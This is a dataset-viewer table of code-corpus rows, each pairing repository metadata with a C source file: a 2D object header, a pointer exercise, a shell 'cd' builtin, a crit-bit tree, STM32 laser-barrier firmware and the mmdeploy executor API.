added
stringdate 2024-11-18 17:54:19
2024-11-19 03:39:31
| created
timestamp[s]date 1970-01-01 00:04:39
2023-09-06 04:41:57
| id
stringlengths 40
40
| metadata
dict | source
stringclasses 1
value | text
stringlengths 13
8.04M
| score
float64 2
4.78
| int_score
int64 2
5
|
---|---|---|---|---|---|---|---|
2024-11-18T22:25:44.476986+00:00 | 2020-10-14T05:35:31 | c59efde402dd2468f123b2fa6b00586b9bd3f301 | {
"blob_id": "c59efde402dd2468f123b2fa6b00586b9bd3f301",
"branch_name": "refs/heads/main",
"committer_date": "2020-10-14T05:38:07",
"content_id": "a98ec10c6019ad4f90cfa516c0a900da8db5135d",
"detected_licenses": [
"MIT"
],
"directory_id": "65615b060574ac4dc98d3c26ee4ade70de67aa1c",
"extension": "h",
"filename": "object.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 303891027,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 612,
"license": "MIT",
"license_type": "permissive",
"path": "/include/object.h",
"provenance": "stackv2-0115.json.gz:138165",
"repo_name": "satisfiedghost/phys",
"revision_date": "2020-10-14T05:35:31",
"revision_id": "5f0c91c96b821ec14c329c645fbd97b7df9ed812",
"snapshot_id": "b241d32fde7cba825dfec633553a2b9ba1de9ac8",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/satisfiedghost/phys/5f0c91c96b821ec14c329c645fbd97b7df9ed812/include/object.h",
"visit_date": "2022-12-28T01:21:19.757172"
} | stackv2 | #ifndef OBJECT2D
#define OBJECT2D
#include <stdio.h>
// 2D coordinate space
typedef struct Coordinates2D {
float x;
float y;
}Coordinates2D;
// An object's velocity, in 2D space.
typedef struct Velocity2D {
float x;
float y;
}Velocity2D;
// A point object, in 2D space
typedef struct Object2D {
Coordinates2D m_coordinates;
Velocity2D m_velocity;
}Object2D;
// Create the default object
void create_object2d(Object2D *obj);
// Create an object, with initial coordinates
void create_object2d_coordinates(Object2D *obj, float x, float y);
// Print a 2D object
void print_obj(Object2D *obj);
#endif | 2.5625 | 3 |
2024-11-18T22:25:44.577463+00:00 | 2020-07-07T22:55:00 | d555d0d27c212a890778d7e5ab437dca915addd9 | {
"blob_id": "d555d0d27c212a890778d7e5ab437dca915addd9",
"branch_name": "refs/heads/master",
"committer_date": "2020-07-07T22:55:00",
"content_id": "0fa8dbee2dfe4ade06fff21fda8e472172bc51a9",
"detected_licenses": [
"MIT"
],
"directory_id": "f8edfc985162bedb22802fccff403cae4e49acac",
"extension": "c",
"filename": "ponteiros-00.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 401,
"license": "MIT",
"license_type": "permissive",
"path": "/ponteiros/ponteiros-00.c",
"provenance": "stackv2-0115.json.gz:138294",
"repo_name": "marcoadsl/exercicios-c",
"revision_date": "2020-07-07T22:55:00",
"revision_id": "be257aa161fd633c12fb89b14c37b80c302234c5",
"snapshot_id": "0edec4a03cd0972b2c2ba0baaa70b39b776c4cba",
"src_encoding": "ISO-8859-1",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/marcoadsl/exercicios-c/be257aa161fd633c12fb89b14c37b80c302234c5/ponteiros/ponteiros-00.c",
"visit_date": "2023-04-29T04:49:49.806525"
} | stackv2 | /* Escreva um programa que contenha duas variáveis inteiras.
Compare seus endereços e exiba o maior endereço. */
#include <stdio.h>
#include <stdlib.h>
int main() {
int a, b;
a = b = 10;
if (&a > &b)
printf("\nO endereco de a (%p) e maior que o endereco de b (%p).\n\n", &a, &b);
else
printf("\nO endereco de b (%p) e maior que o endereco de a (%p).\n\n", &b, &a);
return 0;
}
| 4.03125 | 4 |
2024-11-18T22:25:45.126024+00:00 | 2018-06-23T14:06:49 | 88a6c5421f4d186a9c79591979cf6c6c701da814 | {
"blob_id": "88a6c5421f4d186a9c79591979cf6c6c701da814",
"branch_name": "refs/heads/master",
"committer_date": "2018-06-23T14:06:49",
"content_id": "277437d239a542310ede8bfe54857a63dce762f0",
"detected_licenses": [
"ISC"
],
"directory_id": "2636c0741db1cf8a87ac960b17bd3f19006bc501",
"extension": "c",
"filename": "builtins.c",
"fork_events_count": 0,
"gha_created_at": "2018-06-26T17:29:39",
"gha_event_created_at": "2018-06-26T17:29:39",
"gha_language": null,
"gha_license_id": "ISC",
"github_id": 138771153,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2995,
"license": "ISC",
"license_type": "permissive",
"path": "/sh/builtins.c",
"provenance": "stackv2-0115.json.gz:138683",
"repo_name": "Fabrizio86/dennix",
"revision_date": "2018-06-23T14:06:49",
"revision_id": "e2ba27d0851f0687de14a80ca331c86de2818752",
"snapshot_id": "f7ff9bd6e069bf43a94c4fe4e2893e5752729bb9",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Fabrizio86/dennix/e2ba27d0851f0687de14a80ca331c86de2818752/sh/builtins.c",
"visit_date": "2020-03-21T16:27:28.583890"
} | stackv2 | /* Copyright (c) 2018 Dennis Wölfing
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
/* sh/builtins.c
* Shell builtins.
*/
#include <err.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "builtins.h"
char* pwd;
static size_t pwdSize;
static void updateLogicalPwd(const char* path) {
if (pwd && !pwdSize) {
pwdSize = strlen(pwd);
}
if (!pwd) {
pwd = getcwd(NULL, 0);
pwdSize = pwd ? strlen(pwd) : 0;
return;
}
if (*path == '/') {
strcpy(pwd, "/");
}
// The resulting string cannot be longer than this.
size_t newSize = strlen(pwd) + strlen(path) + 2;
if (newSize > pwdSize) {
char* newPwd = realloc(pwd, newSize);
if (!newPwd) {
free(pwd);
pwd = NULL;
return;
}
pwd = newPwd;
pwdSize = newSize;
}
char* pwdEnd = pwd + strlen(pwd);
const char* component = path;
size_t componentLength = strcspn(component, "/");
while (*component) {
if (componentLength == 0 ||
(componentLength == 1 && strncmp(component, ".", 1) == 0)) {
// We can ignore this path component.
} else if (componentLength == 2 && strncmp(component, "..", 2) == 0) {
char* lastSlash = strrchr(pwd, '/');
if (lastSlash == pwd) {
pwdEnd = pwd + 1;
} else if (lastSlash) {
pwdEnd = lastSlash;
}
} else {
if (pwdEnd != pwd + 1) {
*pwdEnd++ = '/';
}
memcpy(pwdEnd, component, componentLength);
pwdEnd += componentLength;
}
component += componentLength;
if (*component) component++;
componentLength = strcspn(component, "/");
}
*pwdEnd = '\0';
}
int cd(int argc, char* argv[]) {
const char* newCwd;
if (argc >= 2) {
newCwd = argv[1];
} else {
newCwd = getenv("HOME");
if (!newCwd) {
warnx("HOME not set");
return 1;
}
}
if (chdir(newCwd) == -1) {
warn("cd: '%s'", newCwd);
return 1;
}
updateLogicalPwd(newCwd);
if (!pwd || setenv("PWD", pwd, 1) < 0) {
unsetenv("PWD");
}
return 0;
}
| 2.359375 | 2 |
2024-11-18T22:25:45.222696+00:00 | 2012-01-09T11:09:53 | ef16c534b487d59ea1d6f69154dddf58212232fe | {
"blob_id": "ef16c534b487d59ea1d6f69154dddf58212232fe",
"branch_name": "refs/heads/master",
"committer_date": "2012-01-09T11:09:53",
"content_id": "8e7316e9b0d662ce7e74c354287b1d705963f98e",
"detected_licenses": [
"BSD-2-Clause"
],
"directory_id": "097cfab2e48b91d53e5e51f28ec02a4f47512df0",
"extension": "h",
"filename": "critbit.h",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 8836,
"license": "BSD-2-Clause",
"license_type": "permissive",
"path": "/critbit.h",
"provenance": "stackv2-0115.json.gz:138812",
"repo_name": "juzipeek/simple-critbit",
"revision_date": "2012-01-09T11:09:53",
"revision_id": "cf2c9167f04de14330e56106e9f8ce198b0e79f7",
"snapshot_id": "b28ab284bc4b17e1760ca490bf6340a404ce7370",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/juzipeek/simple-critbit/cf2c9167f04de14330e56106e9f8ce198b0e79f7/critbit.h",
"visit_date": "2020-03-22T19:55:57.216018"
} | stackv2 | #ifndef CRITBIT_H
#define CRITBIT_H
/*
* Simple crit-bit implementation for C99.
* Supports only non-zero even keys of type uintptr_t.
*
* Author: Aliaksandr Valialkin <valyala@gmail.com>
*/
/*******************************************************************************
* Interface.
******************************************************************************/
#include <stddef.h> /* for size_t */
#include <stdint.h> /* for uint*_t */
/* Opaque crit-bit structure. */
struct critbit;
/* Memory allocator for critbit nodes. */
struct critbit_node_allocator
{
/*
* Must return a pointer to memory suitable for storing a crit-bit node
* of size critbit_node_size().
*/
void *(*alloc_node)(void *ctx);
/* Must release memory, which was allocated with alloc_node. */
void (*free_node)(void *ctx, void *node);
/* Arbitrary context, which is passed to alloc_node() and free_node(). */
void *ctx;
};
/* Item visitor for critbit_foreach(). */
struct critbit_visitor
{
/* The callback is called for each crit-bit item. */
void (*callback)(void *ctx, uintptr_t v);
/* Arbitrary context, which is passed to the callback. */
void *ctx;
};
/*
* Returns a size of a crit-bit node. The result of this function must be used
* by critbit_node_allocator.
*/
static inline size_t critbit_node_size(void);
/*
* Creates a crit-bit. Uses node_allocator for dynamic memory allocation
* for crit-bit nodes.
*/
static inline struct critbit *critbit_create(
const struct critbit_node_allocator *node_allocator);
/*
* Deletes the given crit-bit
*/
static inline void critbit_delete(struct critbit *cb);
/*
* Adds v to crit-bit. Returs 1 on success, 0 if v already exists
* in the crit-bit.
* v must be non-zero even integer.
*/
static inline int critbit_add(struct critbit *cb, uintptr_t v);
/*
* Removes v from crit-bit. Returns 1 on success, 0 if v doesn't exist
* in the crit-bit.
* v must be non-zero even integer.
*/
static inline int critbit_remove(struct critbit *cb, uintptr_t v);
/*
* Returns 1 if crit-bit contains v, otherwise returns 0.
* v must be non-zero even integer.
*/
static inline int critbit_contains(const struct critbit *cb, uintptr_t v);
/*
* Calls visitor for each crit-bit item in ascending order.
* Do not modify crit-bit in visitor!
*/
static inline void critbit_foreach(const struct critbit *const cb,
const struct critbit_visitor *visitor);
/*******************************************************************************
* Implementation.
******************************************************************************/
#include <assert.h>
#include <limits.h> /* for CHAR_BIT */
#include <stddef.h> /* for size_t */
#include <stdint.h> /* for uint*_t */
#include <stdlib.h> /* for malloc/free */
struct critbit
{
uintptr_t root;
const struct critbit_node_allocator *node_allocator;
};
struct _critbit_node
{
uintptr_t next[2];
uint8_t crit_bit;
};
static const uint8_t _CRITBIT_PTR_BITS = sizeof(void *) * CHAR_BIT;
static inline int _critbit_has_tag(const uintptr_t v)
{
assert(v != 0);
return (v & 1);
}
static inline int _critbit_is_set(const uintptr_t v, const uint8_t bit)
{
assert(bit < _CRITBIT_PTR_BITS - 1);
return (v & (((uintptr_t)1) << (_CRITBIT_PTR_BITS - 1 - bit)));
}
static inline uint8_t _critbit_get_crit_bit(const uintptr_t v1,
const uintptr_t v2)
{
assert(v1 != v2);
assert(!_critbit_has_tag(v1));
assert(!_critbit_has_tag(v2));
const uintptr_t x = v1 ^ v2;
uint8_t crit_bit = 0;
for (;;) {
if (_critbit_is_set(x, crit_bit)) {
break;
}
++crit_bit;
}
return crit_bit;
}
static inline size_t _critbit_get_index(const uintptr_t v, const uint8_t bit)
{
assert(v != 0);
return (_critbit_is_set(v, bit) ? 1 : 0);
}
static inline uintptr_t _critbit_add_tag(const struct _critbit_node *const node)
{
const uintptr_t v = (uintptr_t)node;
assert(!_critbit_has_tag(v));
return v + 1;
}
static inline struct _critbit_node *_critbit_remove_tag(const uintptr_t v)
{
assert(_critbit_has_tag(v));
return (struct _critbit_node *)(v - 1);
}
static inline uintptr_t _critbit_create_node(const struct critbit *const cb,
const uintptr_t v1, const uintptr_t v2, const uint8_t crit_bit)
{
assert(v1 != v2);
assert(!_critbit_has_tag(v1));
struct _critbit_node *const node = cb->node_allocator->alloc_node(
cb->node_allocator->ctx);
const size_t index = _critbit_get_index(v1, crit_bit);
if (!_critbit_has_tag(v2)) {
assert(_critbit_get_index(v2, crit_bit) == (index ^ 1));
}
node->next[index] = v1;
node->next[index ^ 1] = v2;
node->crit_bit = crit_bit;
return _critbit_add_tag(node);
}
static inline uintptr_t _critbit_delete_node(const struct critbit *const cb,
const uintptr_t tagged_node, const uintptr_t v)
{
struct _critbit_node *const node = _critbit_remove_tag(tagged_node);
const size_t index = _critbit_get_index(v, node->crit_bit);
uintptr_t remaining_child = node->next[index ^ 1];
cb->node_allocator->free_node(cb->node_allocator->ctx, node);
return remaining_child;
}
static inline uintptr_t *_critbit_get_leaf_ptr(const struct critbit *const cb,
const uintptr_t v)
{
const uintptr_t *next = &cb->root;
while (_critbit_has_tag(*next)) {
const struct _critbit_node *const node = _critbit_remove_tag(*next);
const size_t index = _critbit_get_index(v, node->crit_bit);
next = &node->next[index];
}
return (uintptr_t *) next;
}
static inline uintptr_t *_critbit_get_node_ptr(const struct critbit *const cb,
const uintptr_t v, const uint8_t crit_bit)
{
const uintptr_t *next = &cb->root;
while (_critbit_has_tag(*next)) {
const struct _critbit_node *const node = _critbit_remove_tag(*next);
assert(node->crit_bit != crit_bit);
if (node->crit_bit > crit_bit) {
break;
}
const size_t index = _critbit_get_index(v, node->crit_bit);
next = &node->next[index];
}
return (uintptr_t *) next;
}
static inline void _critbit_remove_all_nodes(const struct critbit *const cb,
const uintptr_t v)
{
if (_critbit_has_tag(v)) {
struct _critbit_node *const node = _critbit_remove_tag(v);
_critbit_remove_all_nodes(cb, node->next[0]);
_critbit_remove_all_nodes(cb, node->next[1]);
cb->node_allocator->free_node(cb->node_allocator->ctx, node);
}
}
static inline size_t critbit_node_size(void)
{
return sizeof(struct _critbit_node);
}
static inline struct critbit *critbit_create(
const struct critbit_node_allocator *const node_allocator)
{
struct critbit *const cb = malloc(sizeof(*cb));
cb->root = 0;
cb->node_allocator = node_allocator;
return cb;
}
static inline void critbit_delete(struct critbit *const cb)
{
if (cb->root != 0) {
_critbit_remove_all_nodes(cb, cb->root);
}
free(cb);
}
static inline int critbit_add(struct critbit *const cb, const uintptr_t v)
{
assert(!_critbit_has_tag(v));
if (cb->root == 0) {
cb->root = v;
return 1;
}
uintptr_t *next = _critbit_get_leaf_ptr(cb, v);
if (*next == v) {
return 0;
}
const uint8_t crit_bit = _critbit_get_crit_bit(*next, v);
next = _critbit_get_node_ptr(cb, v, crit_bit);
*next = _critbit_create_node(cb, v, *next, crit_bit);
return 1;
}
static inline int critbit_remove(struct critbit *const cb, const uintptr_t v)
{
assert(!_critbit_has_tag(v));
if (cb->root == 0) {
return 0;
}
if (!_critbit_has_tag(cb->root)) {
if (cb->root == v) {
cb->root = 0;
return 1;
}
return 0;
}
uintptr_t *prev = &cb->root;
struct _critbit_node *node = _critbit_remove_tag(*prev);
size_t index = _critbit_get_index(v, node->crit_bit);
uintptr_t *next = &node->next[index];
while (_critbit_has_tag(*next)) {
prev = next;
node = _critbit_remove_tag(*next);
index = _critbit_get_index(v, node->crit_bit);
next = &node->next[index];
}
if (*next != v) {
return 0;
}
*prev = _critbit_delete_node(cb, *prev, v);
return 1;
}
static inline int critbit_contains(const struct critbit *const cb,
const uintptr_t v)
{
assert(!_critbit_has_tag(v));
if (cb->root == 0) {
return 0;
}
uintptr_t *next = _critbit_get_leaf_ptr(cb, v);
return (*next == v);
}
static inline void _critbit_visit(
const struct critbit_visitor *const visitor, const uintptr_t v)
{
if (_critbit_has_tag(v)) {
const struct _critbit_node *const node = _critbit_remove_tag(v);
const uintptr_t left = node->next[0];
const uintptr_t right = node->next[1];
_critbit_visit(visitor, left);
_critbit_visit(visitor, right);
}
else {
visitor->callback(visitor->ctx, v);
}
}
static inline void critbit_foreach(const struct critbit *const cb,
const struct critbit_visitor *const visitor)
{
_critbit_visit(visitor, cb->root);
}
#endif
| 2.953125 | 3 |
2024-11-18T22:25:45.893066+00:00 | 2018-06-13T23:14:30 | f66ce2201612ba48483fd95c95f22958a1f88a50 | {
"blob_id": "f66ce2201612ba48483fd95c95f22958a1f88a50",
"branch_name": "refs/heads/master",
"committer_date": "2018-06-13T23:14:30",
"content_id": "a2a3003d44d1fc70ed4eb46d45000c590a65254c",
"detected_licenses": [
"MIT"
],
"directory_id": "07f6309aa8586424a3cb8d5099bb145a8a1a5541",
"extension": "c",
"filename": "main.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 126301001,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5026,
"license": "MIT",
"license_type": "permissive",
"path": "/LaserBarrier/LaserBarrier/src/main.c",
"provenance": "stackv2-0115.json.gz:139460",
"repo_name": "PUT-PTM/2018_LaserBarrier",
"revision_date": "2018-06-13T23:14:30",
"revision_id": "4840f355c610322a420cd7c44d66a89fa7a8fcbc",
"snapshot_id": "b679a0d17f6500c9dff935cd063ef5e8b65ae88a",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/PUT-PTM/2018_LaserBarrier/4840f355c610322a420cd7c44d66a89fa7a8fcbc/LaserBarrier/LaserBarrier/src/main.c",
"visit_date": "2021-04-18T21:36:40.681887"
} | stackv2 | #include "stm32f4xx.h"
#include "stm32f4_discovery.h"
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int ADC_Result, laser_Threshold;
int id = 12345;
int counter = 0;
int measure = 1;
void USART3_IRQHandler(void)
{
if(USART_GetITStatus(USART3, USART_IT_RXNE) != RESET){
if(USART3->DR == 'R'){
measure = 1;
}
}
}
void PR_init() {
RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOA , ENABLE);
RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOD , ENABLE);
RCC_APB2PeriphClockCmd(RCC_APB2Periph_ADC1, ENABLE);
GPIO_InitTypeDef GPIO_InitStructure;
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_1;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AN;
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_NOPULL;
GPIO_Init(GPIOA, &GPIO_InitStructure);
GPIO_InitTypeDef GPIO_InitStructure1;
GPIO_InitStructure1.GPIO_Pin = GPIO_Pin_12 | GPIO_Pin_13 | GPIO_Pin_14 | GPIO_Pin_15 ;
GPIO_InitStructure1.GPIO_Mode = GPIO_Mode_OUT;
GPIO_InitStructure1.GPIO_OType = GPIO_OType_PP;
GPIO_InitStructure1.GPIO_Speed = GPIO_Speed_100MHz;
GPIO_InitStructure1.GPIO_PuPd = GPIO_PuPd_NOPULL;
GPIO_Init(GPIOD, &GPIO_InitStructure1);
//konfiguracja wszystkich ADC
ADC_CommonInitTypeDef ADC_CommonInitStructure;
ADC_CommonInitStructure.ADC_Mode = ADC_Mode_Independent;
ADC_CommonInitStructure.ADC_Prescaler = ADC_Prescaler_Div2;
ADC_CommonInitStructure.ADC_DMAAccessMode = ADC_DMAAccessMode_Disabled;
ADC_CommonInitStructure.ADC_TwoSamplingDelay = ADC_TwoSamplingDelay_5Cycles;
ADC_CommonInit(&ADC_CommonInitStructure);
//konfiguracja danego pretwornika
ADC_InitTypeDef ADC_InitStructure;
ADC_InitStructure.ADC_Resolution = ADC_Resolution_12b;
ADC_InitStructure.ADC_ScanConvMode = DISABLE;
ADC_InitStructure.ADC_ContinuousConvMode = ENABLE;
ADC_InitStructure.ADC_ExternalTrigConv = ADC_ExternalTrigConv_T1_CC1;
ADC_InitStructure.ADC_ExternalTrigConvEdge = ADC_ExternalTrigConvEdge_None;
ADC_InitStructure.ADC_DataAlign = ADC_DataAlign_Right;
ADC_InitStructure.ADC_NbrOfConversion = 1;
ADC_Init(ADC1, &ADC_InitStructure);
ADC_RegularChannelConfig(ADC1, ADC_Channel_1, 1, ADC_SampleTime_84Cycles);
ADC_Cmd(ADC1, ENABLE);
}
void BT_init() {
RCC_APB1PeriphClockCmd(RCC_APB1Periph_USART3, ENABLE);
RCC_AHB1PeriphClockCmd(RCC_AHB1Periph_GPIOC, ENABLE);
GPIO_InitTypeDef GPIO_InitStructure;
GPIO_InitStructure.GPIO_Pin = GPIO_Pin_10 | GPIO_Pin_11;
GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF;
GPIO_InitStructure.GPIO_OType = GPIO_OType_PP;
GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP;
GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz;
GPIO_Init(GPIOC, &GPIO_InitStructure);
GPIO_PinAFConfig(GPIOC, GPIO_PinSource10, GPIO_AF_USART3);
GPIO_PinAFConfig(GPIOC, GPIO_PinSource11, GPIO_AF_USART3);
USART_InitTypeDef USART_InitStructure;
USART_InitStructure.USART_BaudRate = 9600;
USART_InitStructure.USART_WordLength = USART_WordLength_8b;
USART_InitStructure.USART_StopBits = USART_StopBits_1;
USART_InitStructure.USART_Parity = USART_Parity_No;
USART_InitStructure.USART_HardwareFlowControl =
USART_HardwareFlowControl_None;
USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx;
USART_Init(USART3, &USART_InitStructure);
USART_Cmd(USART3, ENABLE);
NVIC_InitTypeDef NVIC_InitStructure;
USART_ITConfig(USART3, USART_IT_RXNE, ENABLE);
NVIC_InitStructure.NVIC_IRQChannel = USART3_IRQn;
NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelSubPriority = 0;
NVIC_InitStructure.NVIC_IRQChannelCmd = ENABLE;
NVIC_Init(&NVIC_InitStructure);
NVIC_EnableIRQ(USART3_IRQn);
}
void BT_send(char *tab) {
while(*tab)
BT_sendChar(*tab++);
}
void BT_sendChar(char c) {
while (USART_GetFlagStatus(USART3, USART_FLAG_TXE) == RESET);
USART_SendData(USART3, c);
}
int average_light() {
GPIO_SetBits(GPIOD,GPIO_Pin_14);
GPIO_ResetBits(GPIOD,GPIO_Pin_15);
int divider=300000;
unsigned long int sum = 0;
for(int i=0;i<divider;i++) {
ADC_SoftwareStartConv(ADC1);
while(ADC_GetFlagStatus(ADC1, ADC_FLAG_EOC) == RESET);
ADC_Result = ADC_GetConversionValue(ADC1);
sum += ADC_Result;
}
GPIO_SetBits(GPIOD,GPIO_Pin_15);
GPIO_ResetBits(GPIOD,GPIO_Pin_14);
return sum/divider;
}
int main(void) {
PR_init();
BT_init();
laser_Threshold = average_light() - 250;
for(;;) {
ADC_SoftwareStartConv(ADC1);
while(ADC_GetFlagStatus(ADC1, ADC_FLAG_EOC) == RESET);
ADC_Result = ADC_GetConversionValue(ADC1);
if (ADC_Result < laser_Threshold && measure == 1) {
BT_send("STM2;e;s\r\n");
counter++;
measure = 0;
}
}
}
| 2.109375 | 2 |
2024-11-18T22:25:46.041384+00:00 | 2023-08-31T09:59:29 | 9705925343e676612c13e7ac874a38ca6f606d36 | {
"blob_id": "9705925343e676612c13e7ac874a38ca6f606d36",
"branch_name": "refs/heads/main",
"committer_date": "2023-08-31T09:59:29",
"content_id": "a2c8ffa387a6a90dcc086b71942feafbe43959ad",
"detected_licenses": [
"Apache-2.0"
],
"directory_id": "0e083f405af00029c9ec31849f0f7f81c56844b5",
"extension": "h",
"filename": "executor.h",
"fork_events_count": 605,
"gha_created_at": "2021-12-24T13:04:44",
"gha_event_created_at": "2023-09-14T10:39:04",
"gha_language": "Python",
"gha_license_id": "Apache-2.0",
"github_id": 441467833,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5457,
"license": "Apache-2.0",
"license_type": "permissive",
"path": "/csrc/mmdeploy/apis/c/mmdeploy/executor.h",
"provenance": "stackv2-0115.json.gz:139722",
"repo_name": "open-mmlab/mmdeploy",
"revision_date": "2023-08-31T09:59:29",
"revision_id": "5479c8774f5b88d7ed9d399d4e305cb42cc2e73a",
"snapshot_id": "39b9e7b611caab2c76a6142fcb99f0bf1d92ad24",
"src_encoding": "UTF-8",
"star_events_count": 2164,
"url": "https://raw.githubusercontent.com/open-mmlab/mmdeploy/5479c8774f5b88d7ed9d399d4e305cb42cc2e73a/csrc/mmdeploy/apis/c/mmdeploy/executor.h",
"visit_date": "2023-09-01T21:29:25.315371"
} | stackv2 | // Copyright (c) OpenMMLab. All rights reserved.
#ifndef MMDEPLOY_CSRC_APIS_C_EXECUTOR_H_
#define MMDEPLOY_CSRC_APIS_C_EXECUTOR_H_
#include "mmdeploy/common.h"
#if __cplusplus
extern "C" {
#endif
/******************************************************************************
* Experimental asynchronous APIs */
typedef mmdeploy_value_t (*mmdeploy_then_fn_t)(mmdeploy_value_t, void*);
typedef mmdeploy_value_t (*mmdeploy_then_fn_v2_t)(mmdeploy_value_t*, void*);
typedef int (*mmdeploy_then_fn_v3_t)(mmdeploy_value_t* input, mmdeploy_value_t* output, void*);
struct mmdeploy_sender;
struct mmdeploy_scheduler;
typedef struct mmdeploy_sender* mmdeploy_sender_t;
typedef struct mmdeploy_scheduler* mmdeploy_scheduler_t;
typedef mmdeploy_sender_t (*mmdeploy_let_value_fn_t)(mmdeploy_value_t, void*);
///////////////////////////////////////////////////////////////////////////////
// Scheduler
///////////////////////////////////////////////////////////////////////////////
MMDEPLOY_API mmdeploy_scheduler_t mmdeploy_executor_inline();
MMDEPLOY_API mmdeploy_scheduler_t mmdeploy_executor_system_pool();
/**
* Create a thread pool with the given number of worker threads
* @param[in] num_threads
* @return the handle to the created thread pool
*/
MMDEPLOY_API mmdeploy_scheduler_t mmdeploy_executor_create_thread_pool(int num_threads);
MMDEPLOY_API mmdeploy_scheduler_t mmdeploy_executor_create_thread();
MMDEPLOY_API mmdeploy_scheduler_t mmdeploy_executor_dynamic_batch(mmdeploy_scheduler_t scheduler,
int max_batch_size, int timeout);
MMDEPLOY_API int mmdeploy_scheduler_destroy(mmdeploy_scheduler_t scheduler);
///////////////////////////////////////////////////////////////////////////////
// Utilities
///////////////////////////////////////////////////////////////////////////////
/**
* @brief Create a copy of a copyable sender. Only senders created by \ref mmdeploy_executor_split
* is copyable for now.
* @param[in] input copyable sender,
* @return the sender created, or nullptr if the sender is not copyable
*/
MMDEPLOY_API mmdeploy_sender_t mmdeploy_sender_copy(mmdeploy_sender_t input);
/**
* @brief Destroy a sender, notice that all sender adapters will consume input senders, only unused
* senders should be destroyed using this function.
* @param[in] input
*/
MMDEPLOY_API int mmdeploy_sender_destroy(mmdeploy_sender_t sender);
///////////////////////////////////////////////////////////////////////////////
// Sender factories
///////////////////////////////////////////////////////////////////////////////
/**
* @brief Create a sender that sends the provided value
* @param[in] value
* @return created sender
*/
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_just(mmdeploy_value_t value);
/**
* @brief
* @param[in] scheduler
* @return the sender created
*/
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_schedule(mmdeploy_scheduler_t scheduler);
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_transfer_just(mmdeploy_scheduler_t scheduler,
mmdeploy_value_t value);
///////////////////////////////////////////////////////////////////////////////
// Sender adapters
///////////////////////////////////////////////////////////////////////////////
/**
* Transfer the execution to the execution agent of the provided scheduler
* @param[in] input
* @param[in] scheduler
* @return the sender created
*/
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_transfer(mmdeploy_sender_t input,
mmdeploy_scheduler_t scheduler);
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_on(mmdeploy_scheduler_t scheduler,
mmdeploy_sender_t input);
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_then(mmdeploy_sender_t input,
mmdeploy_then_fn_t fn, void* context);
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_let_value(mmdeploy_sender_t input,
mmdeploy_let_value_fn_t fn,
void* context);
/**
* Convert the input sender into a sender that is copyable via \ref mmdeploy_sender_copy. Notice
* that this function doesn't make the sender multi-shot, it just return a sender that is copyable.
* @param[in] input
* @return the sender that is copyable
*/
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_split(mmdeploy_sender_t input);
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_when_all(mmdeploy_sender_t inputs[], int32_t n);
MMDEPLOY_API mmdeploy_sender_t mmdeploy_executor_ensure_started(mmdeploy_sender_t input);
///////////////////////////////////////////////////////////////////////////////
// Sender consumers
///////////////////////////////////////////////////////////////////////////////
MMDEPLOY_API int mmdeploy_executor_start_detached(mmdeploy_sender_t input);
MMDEPLOY_API mmdeploy_value_t mmdeploy_executor_sync_wait(mmdeploy_sender_t input);
MMDEPLOY_API int mmdeploy_executor_sync_wait_v2(mmdeploy_sender_t input, mmdeploy_value_t* output);
MMDEPLOY_API void mmdeploy_executor_execute(mmdeploy_scheduler_t scheduler, void (*fn)(void*),
void* context);
#if __cplusplus
}
#endif
